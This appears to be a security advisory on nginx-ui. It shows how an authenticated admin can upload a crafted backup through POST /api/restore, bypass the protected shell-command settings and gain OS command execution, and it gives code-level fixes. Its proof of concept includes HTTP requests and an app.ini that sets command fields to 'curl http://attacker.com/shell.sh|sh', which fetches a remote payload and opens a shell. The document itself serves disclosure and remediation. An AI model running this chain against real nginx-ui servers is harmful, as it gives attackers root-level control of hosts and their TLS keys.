Authenticated Admin → OS RCE via Backup Restore Bypassing protected Settings Controls in nginx-ui
Description
Product: nginx-ui Repository: 0xJacky/nginx-ui (branch: dev) Vulnerability Class: Security Control Bypass → OS Command Injection (CWE-78 / CWE-284) CVSS v3.1 Score: 7.2 High — AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H Affected Component: POST /api/restore, internal/backup/restore.go, internal/nginx/exec.go Status: NOT FIXED in current dev branch (7864e378, 2026-04-21)
---
1. Vulnerability Summary
nginx-ui explicitly marks shell command settings (TestConfigCmd, ReloadCmd, RestartCmd, LogrotateSettings.CMD) as protected:"true" to prevent them from being modified via the settings API. This is a deliberate security control: these fields are passed verbatim to /bin/sh -c, so allowing arbitrary modification would be OS command injection.
However, the POST /api/restore endpoint — accessible to any authenticated admin — overwrites app.ini directly on disk with no content validation, completely bypassing the protected field mechanism. An attacker with admin credentials can upload a crafted backup containing a malicious app.ini, trigger an application restart, and then call any nginx control endpoint to execute arbitrary OS commands as the nginx-ui process user (typically root in Docker).
This is a security control bypass that escalates "nginx config admin" access to full OS-level code execution.
---
2. Root Cause Analysis
2.1 The protected:"true" Tag Is an Explicit Security Control
The settings structs mark shell command fields with protected:"true": 1 2
SaveSettings calls cSettings.ProtectedFill(...) for every settings struct, which uses reflection to skip any field tagged protected:"true" when copying user-supplied values: 3
The intent is unambiguous: TestConfigCmd, ReloadCmd, RestartCmd, and LogrotateSettings.CMD cannot be changed via the settings API, because they are passed directly to the shell.
2.2 The Shell Execution Is Unsanitized
When TestConfigCmd is non-empty, it is passed verbatim to /bin/sh -c: 4 5
The same pattern applies to ReloadCmd and RestartCmd: 6
2.3 The Backup Restore Endpoint Overwrites app.ini Without Content Validation
POST /api/restore with restore_nginx_ui=true calls restoreNginxUIConfig, which copies files from the backup directly onto disk: 7
There is no validation of the content of app.ini before it is written. The protected:"true" mechanism is entirely bypassed because the restore path writes directly to the filesystem, not through the settings API.
2.4 The Application Restarts and Loads the Attacker's Config
After a successful restore, risefront.Restart() is called: 8
On restart, nginx-ui loads the new app.ini from disk, including any TestConfigCmd value the attacker placed there. The next call to any nginx control endpoint executes it.
2.5 The Attacker Controls the AES Key Used to Verify the Backup
The restore handler accepts the AES key and IV directly from the attacker via the security_token form field: 9
The manifest integrity check derives its HMAC signing key from the attacker-supplied AES key. Since the attacker crafts the backup and supplies the key, they can produce a valid HMAC for any manifest content. The integrity check is self-referential and provides no security against a crafted backup.
---
3. Attack Prerequisites
| Requirement | Detail |
|---|---|
| Admin-level authentication | Valid JWT token or X-Node-Secret header |
| Network access to nginx-ui port | Default: 9000/tcp |
| No IP whitelist blocking the attacker | Default config has no IP whitelist |
This is a post-authentication vulnerability. The attack surface is:
- Multi-admin environments where not all admins should have OS access
- Compromised admin credentials (phishing, credential stuffing, weak password)
- Chained with Bug #1 (unauthenticated restore on fresh installs) for a fully unauthenticated RCE path
- Chained with Bug #2 (node secret in logs) to obtain admin-equivalent credentials
---
4. Step-by-Step Proof of Concept
Step 1 — Authenticate and obtain a JWT token
POST /api/auth/login HTTP/1.1
Host: target:9000
Content-Type: application/json
{"username": "admin", "password": "known_password"}Response:
{"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}Step 2 — Craft the malicious backup
Create a backup archive in the format expected by nginx-ui (outer ZIP containing manifest.json, manifest.sig, nginx-ui.zip.enc, nginx.zip.enc).
Inside nginx-ui.zip, place a crafted app.ini:
[app]
JwtSecret = <copy from GET /api/settings response>
[node]
Secret = <copy from GET /api/settings response>
[nginx]
TestConfigCmd = curl http://attacker.com/shell.sh|sh
ReloadCmd = curl http://attacker.com/shell.sh|sh
RestartCmd = curl http://attacker.com/shell.sh|shAll other settings can be copied verbatim from GET /api/settings to avoid disrupting the running service.
Generate a random AES-256 key and IV, encrypt the inner ZIPs, sign the manifest with the HMAC key derived from your AES key, and package the outer ZIP.
Step 3 — Upload the malicious backup
POST /api/restore HTTP/1.1
Host: target:9000
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="backup_file"; filename="evil.zip"
Content-Type: application/zip
[crafted backup bytes]
------Boundary
Content-Disposition: form-data; name="security_token"
<base64(aes_key)>:<base64(aes_iv)>
------Boundary
Content-Disposition: form-data; name="restore_nginx_ui"
true
------Boundary--Expected response (HTTP 200):
{"nginx_ui_restored": true, "nginx_restored": false, "hash_match": true}nginx-ui calls risefront.Restart() 2 seconds later, loading the attacker's app.ini.
Step 4 — Trigger OS command execution
After the restart (~3 seconds), call any nginx control endpoint:
POST /api/nginx/test HTTP/1.1
Host: target:9000
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...nginx-ui executes:
/bin/sh -c "curl http://attacker.com/shell.sh|sh"The attacker now has a reverse shell running as the nginx-ui process user (typically root in Docker).
Alternative trigger — no re-authentication needed: If the attacker also set ReloadCmd in the crafted app.ini, saving any nginx config file in the UI triggers Reload() → execShell(ReloadCmd) automatically.
---
5. Additional Attack Surface: LogrotateSettings.CMD
LogrotateSettings.CMD is also protected:"true" and can be overwritten via backup restore. It is executed by the logrotate cron job: 10
Unlike the nginx commands, logrotate.Exec() uses exec.Command(name, args...) with space-splitting rather than /bin/sh -c. This means shell metacharacters are not interpreted, but the attacker can still set CMD = /tmp/malicious_binary to execute an arbitrary binary. If LogrotateSettings.Enabled is set to true in the crafted app.ini, the command executes automatically on the configured interval (default: 1440 minutes) without any further attacker interaction. 2
---
6. Why protected:"true" Is Not Sufficient
The protected:"true" tag only protects fields from being updated through SaveSettings → ProtectedFill. It has no effect on:
- Direct filesystem writes (backup restore)
- Environment variables (
NGINX_UI_NGINX_TEST_CONFIG_CMD,NGINX_UI_NGINX_RELOAD_CMD,NGINX_UI_NGINX_RESTART_CMD,NGINX_UI_LOGROTATE_CMD) — these bypassProtectedFillentirely at startup - Direct
app.inifile edits on the host
The protected mechanism is a UI-layer control, not a security boundary. The backup restore endpoint treats app.ini as an opaque file and copies it without understanding which fields are security-sensitive.
---
7. Impact
- Confidentiality: Full read access to all nginx configurations, TLS private keys, ACME credentials, and all secrets in
app.iniand the SQLite database. - Integrity: Arbitrary modification of all nginx configurations. An attacker can deploy malicious nginx configs, disable TLS, or redirect traffic.
- Availability: nginx and nginx-ui can be stopped or misconfigured.
- OS-level code execution: In Docker deployments (the primary distribution method), nginx-ui runs as
root, giving the attacker full host access if the container has host mounts or privileged mode. - Privilege escalation: In environments where multiple admins share nginx-ui access, any admin can escalate to OS root — even if they were never intended to have shell access.
---
8. Affected Versions
| Component | Introduced | Fixed | Latest stable affected |
|---|---|---|---|
Backup restore (POST /api/restore) | 536aa545 (2025-05-25, v2.0.0-beta.23) | Not fixed | v2.3.6 (and dev) |
protected:"true" on shell cmds | d67b8428 (2024-01-27) | N/A (control exists but is bypassable) | All versions |
The vulnerability exists in all versions from when the backup feature was introduced (~v2.0.0-beta.23, May 2025) through the current latest stable v2.3.6 and the unreleased v2.3.8-dev. 11
---
9. Recommended Fixes
Fix 1 (Primary) — Validate app.ini content before restoring:
Strip or reject any TestConfigCmd, ReloadCmd, RestartCmd, and LogrotateSettings.CMD values from a restored app.ini before writing it to disk. These fields should never be populated from an external backup:
// internal/backup/restore.go
func sanitizeRestoredConfig(confPath string) error {
cfg, err := ini.Load(confPath)
if err != nil {
return err
}
cfg.Section("nginx").Key("TestConfigCmd").SetValue("")
cfg.Section("nginx").Key("ReloadCmd").SetValue("")
cfg.Section("nginx").Key("RestartCmd").SetValue("")
cfg.Section("logrotate").Key("CMD").SetValue("")
return cfg.SaveTo(confPath)
}Call sanitizeRestoredConfig after copyFile in restoreNginxUIConfig.
Fix 2 — Require 2FA (secure session) for backup restore:
The restore endpoint has the same destructive potential as the web terminal. It should require RequireSecureSession() just as the terminal does:
r.POST("/restore", middleware.AuthRequired(), middleware.RequireSecureSession(),
middleware.EncryptedForm(), RestoreBackup)Fix 3 — Audit log all restore operations:
Every restore operation should be logged with the authenticated user's identity, timestamp, and which components were restored.
---
10. Timeline
| Date | Event |
|---|---|
| 2026-04-21 | Vulnerability identified via source code review |
| — | Vendor notification (pending) |
| — | CVE assignment (pending) |
Citations
File: settings/nginx.go (L1-16)
package settings
type Nginx struct {
AccessLogPath string `json:"access_log_path" protected:"true"`
ErrorLogPath string `json:"error_log_path" protected:"true"`
LogDirWhiteList []string `json:"log_dir_white_list" protected:"true"`
ConfigDir string `json:"config_dir" protected:"true"`
ConfigPath string `json:"config_path" protected:"true"`
PIDPath string `json:"pid_path" protected:"true"`
SbinPath string `json:"sbin_path" protected:"true"`
TestConfigCmd string `json:"test_config_cmd" protected:"true"`
ReloadCmd string `json:"reload_cmd" protected:"true"`
RestartCmd string `json:"restart_cmd" protected:"true"`
StubStatusPort uint `json:"stub_status_port" binding:"omitempty,min=1,max=65535"`
ContainerName string `json:"container_name" protected:"true"`
}File: settings/logrotate.go (L11-15)
type Logrotate struct {
Enabled bool `json:"enabled"`
CMD string `json:"cmd" protected:"true"`
Interval int `json:"interval" binding:"omitempty,min=1"`
}File: api/settings/settings.go (L126-137)
err := settings.Update(func() {
cSettings.ProtectedFill(cSettings.AppSettings, &json.App)
cSettings.ProtectedFill(cSettings.ServerSettings, &json.Server)
cSettings.ProtectedFill(settings.AuthSettings, &json.Auth)
cSettings.ProtectedFill(settings.CertSettings, &json.Cert)
cSettings.ProtectedFill(settings.HTTPSettings, &json.Http)
cSettings.ProtectedFill(settings.NodeSettings, &json.Node)
cSettings.ProtectedFill(settings.OpenAISettings, &json.Openai)
cSettings.ProtectedFill(settings.LogrotateSettings, &json.Logrotate)
cSettings.ProtectedFill(settings.NginxSettings, &json.Nginx)
cSettings.ProtectedFill(settings.OIDCSettings, &json.Oidc)
})File: internal/nginx/nginx.go (L25-36)
func TestConfig() (stdOut string, stdErr error) {
mutex.Lock()
defer mutex.Unlock()
if settings.NginxSettings.TestConfigCmd != "" {
return execShell(settings.NginxSettings.TestConfigCmd)
}
sbin := GetSbinPath()
if sbin == "" {
return execCommand("nginx", "-t")
}
return execCommand(sbin, "-t")
}File: internal/nginx/nginx.go (L38-61)
// Reload reloads the nginx
func Reload() (stdOut string, stdErr error) {
mutex.Lock()
defer mutex.Unlock()
// Clear the modules cache when reloading Nginx
clearModulesCache()
if !IsRunning() {
restart()
return
}
if settings.NginxSettings.ReloadCmd != "" {
return execShell(settings.NginxSettings.ReloadCmd)
}
sbin := GetSbinPath()
if sbin == "" {
return execCommand("nginx", "-s", "reload")
}
return execCommand(sbin, "-s", "reload")
}File: internal/nginx/exec.go (L12-28)
func execShell(cmd string) (stdOut string, stdErr error) {
var execCmd *exec.Cmd
if runtime.GOOS == "windows" {
execCmd = exec.Command("cmd", "/c", cmd)
} else {
execCmd = exec.Command("/bin/sh", "-c", cmd)
}
execCmd.Dir = GetNginxExeDir()
bytes, err := execCmd.CombinedOutput()
stdOut = string(bytes)
if err != nil {
stdErr = err
}
return
}File: internal/backup/restore.go (L458-484)
// restoreNginxUIConfig restores nginx-ui configuration files
func restoreNginxUIConfig(nginxUIBackupDir string) error {
// Get config directory
configDir := filepath.Dir(cosysettings.ConfPath)
if configDir == "" {
return ErrConfigPathEmpty
}
// Restore app.ini to the configured location
srcConfigPath := filepath.Join(nginxUIBackupDir, "app.ini")
if err := copyFile(srcConfigPath, cosysettings.ConfPath); err != nil {
return err
}
// Restore database file if exists
dbName := settings.DatabaseSettings.GetName()
srcDBPath := filepath.Join(nginxUIBackupDir, dbName+".db")
destDBPath := filepath.Join(configDir, dbName+".db")
// Only attempt to copy if database file exists in backup
if _, err := os.Stat(srcDBPath); err == nil {
if err := copyFile(srcDBPath, destDBPath); err != nil {
return err
}
}
return nilFile: api/backup/restore.go (L35-70)
securityToken := c.PostForm("security_token") // Get concatenated key and IV
// Get backup file
backupFile, err := c.FormFile("backup_file")
if err != nil {
cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrBackupFileNotFound, err.Error()))
return
}
// Validate security token
if securityToken == "" {
cosy.ErrHandler(c, backup.ErrInvalidSecurityToken)
return
}
// Split security token to get Key and IV
parts := strings.Split(securityToken, ":")
if len(parts) != 2 {
cosy.ErrHandler(c, backup.ErrInvalidSecurityToken)
return
}
aesKey := parts[0]
aesIv := parts[1]
// Decode Key and IV from base64
key, err := base64.StdEncoding.DecodeString(aesKey)
if err != nil {
cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESKey, err.Error()))
return
}
iv, err := base64.StdEncoding.DecodeString(aesIv)
if err != nil {
cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESIV, err.Error()))
return
}File: api/backup/restore.go (L126-132)
if restoreNginxUI {
go func() {
time.Sleep(2 * time.Second)
// gracefully restart
risefront.Restart()
}()
}File: internal/logrotate/logrotate.go (L10-45)
func Exec() {
if !settings.LogrotateSettings.Enabled {
return
}
logger.Info("logrotate start")
defer logger.Info("logrotate end")
cmd := strings.Split(settings.LogrotateSettings.CMD, " ")
if len(cmd) == 0 {
return
}
var (
name string
args = make([]string, 0)
)
if len(cmd) > 0 {
name = cmd[0]
}
if len(cmd) > 1 {
args = cmd[1:]
}
out, err := exec.Command(name, args...).CombinedOutput()
if err != nil {
logger.Error(err, string(out))
return
}
if len(out) > 0 {
logger.Debug(string(out))
}
}File: app/src/version.json (L1-1)
{"version":"2.3.6","build_id":1,"total_build":516}